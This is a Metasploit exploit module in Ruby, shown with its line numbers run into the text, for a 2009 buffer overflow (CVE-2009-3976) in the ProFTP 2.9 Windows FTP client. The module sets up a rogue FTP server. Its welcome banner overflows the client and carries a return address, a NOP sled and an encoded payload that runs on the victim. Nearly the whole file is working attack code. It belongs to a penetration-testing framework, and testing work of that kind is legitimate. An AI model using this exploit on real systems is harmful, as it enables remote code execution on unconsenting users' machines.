Path: blob/master/modules/exploits/windows/ftp/proftp_banner.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in the ProFTP 2.917client that is triggered through an excessively long welcome message.18},19'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2009-3976' ],23[ 'OSVDB', '57394' ],24[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],25],26'DefaultOptions' => {27'EXITFUNC' => 'seh',28},29'Payload' => {30'Space' => 1000,31'BadChars' => "\x00\x0a\x0d\x20",32'StackAdjustment' => -3500,33},34'Platform' => 'win',35'Targets' => [36# Tested against - XP SP3 English OK.37[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)38],39'Privileged' => false,40'DefaultTarget' => 0,41'DisclosureDate' => '2009-08-25',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),53]54)55end5657def on_client_connect(client)58return if ((p = regenerate_payload(client)) == nil)5960buffer = "220 "61buffer << rand_text_numeric(2064)62buffer << [target.ret].pack('V')63buffer << make_nops(20)64buffer << payload.encoded65buffer << "\r\n"66client.put(buffer)67end68end697071